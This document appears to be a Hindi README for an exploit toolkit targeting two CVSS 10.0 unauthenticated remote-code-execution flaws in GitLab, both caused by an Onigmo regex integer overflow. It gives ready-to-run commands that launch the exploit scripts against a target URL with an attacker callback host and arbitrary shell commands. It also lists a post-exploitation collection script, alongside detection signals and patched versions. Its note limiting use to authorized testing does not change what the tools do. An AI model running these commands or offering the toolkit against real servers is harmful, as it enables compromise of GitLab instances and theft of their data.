
CVE-2026-97229 + CVE-2026-110264 — GitLab Onigmo RCE एक्सप्लॉइट टूलकिट (CVSS 10.0)
CVE-2026-97229 + CVE-2026-110264 — Onigmo रेगेक्स इंजन में इंटीजर ओवरफ़्लो के माध्यम से GitLab CE/EE में दो गंभीर (CVSS 10.0) अनऑथेंटिकेटेड RCE कमज़ोरियाँ।
केवल अधिकृत परीक्षण। प्रत्येक लक्ष्य आपका होना चाहिए या लिखित प्राधिकरण द्वारा कवर किया गया होना चाहिए।
| CVE | वेक्टर | प्रभावित | ट्रिगर | प्रमाणीकरण आवश्यक |
|---|---|---|---|---|
| CVE-2026-97229 | CI/CD रेगेक्स कंपाइलर | 19.2.0–19.4.1 | GET /api/v4/projects/:id/ci/lint | अनऑथेंटिकेटेड ट्रिगर (सेटअप के लिए राइट एक्सेस) |
| CVE-2026-110264 | Org-mode .org रेंडर | 7.0–19.5.0 | एक तैयार किया गया .org फ़ाइल रेंडर करें | कोई खाता आवश्यक नहीं |
दोनों CVE एक ही मूल कारण का शोषण करते हैं: Onigmo रेगेक्स इंजन इंटीजर ओवरफ़्लो → OOB राइट → VM हाईजैक → system()। अंतर केवल डिलीवरी पथ का है:
.gitlab-ci.yml के rules:exists:regexp में दुर्भावनापूर्ण रेगेक्स → CI lint API.org फ़ाइल में दुर्भावनापूर्ण #+TODO: कीवर्ड → Org-mode रेंडरर# CVE-2026-97229 — CI lint path
python3 exploit/cve97229.py --url http://target:8080 \
--token glpat-xxx --callback-host YOUR_IP \
--command 'id; hostname' --authorized --scope scope.txt
# CVE-2026-110264 — Org-mode path (no auth needed!)
python3 exploit/cve110264.py --url http://target:8080 \
--callback-host YOUR_IP --command 'id'
# Probe only (no exploitation)
python3 exploit/cve97229.py --url http://target --probe-only
python3 exploit/cve110264.py --url http://target --probe-only
exploit/
├── cve97229.py # CI lint regex RCE (CVE-2026-97229)
├── cve110264.py # Org-mode render RCE (CVE-2026-110264)
├── layout.py # libruby.so offset derivation
├── common.py # shared Onigmo payload + callback server
└── post/
└── collect.sh # post-exploitation collection
lab/
├── run.sh # Docker lab launcher
└── stop.sh # Lab cleanup
docs/
├── CVE-2026-97229.md # Technical analysis
└── CVE-2026-110264.md # Technical analysis
दोनों CVE के लिए तीन-संकेत पहचान:
[BUG] Segmentation fault के साथ org-ruby या regexp_matcher.rb फ़्रेमbadgateway: failed to receive response: EOF(?#) विभाजित क्वांटिफ़ायर, [[:word:]] पुनरावृत्तियाँ, 4-बाइट UTF-8 पथ| CVE | ठीक किया गया |
|---|---|
| CVE-2026-97229 | 19.2.8, 19.3.5, 19.4.2 |
| CVE-2026-110264 | 18.11.13, 19.0.10, 19.1.9, 19.2.9, 19.3.6, 19.4.3, 19.5.1 |
MIT — केवल अधिकृत सुरक्षा परीक्षण के लिए।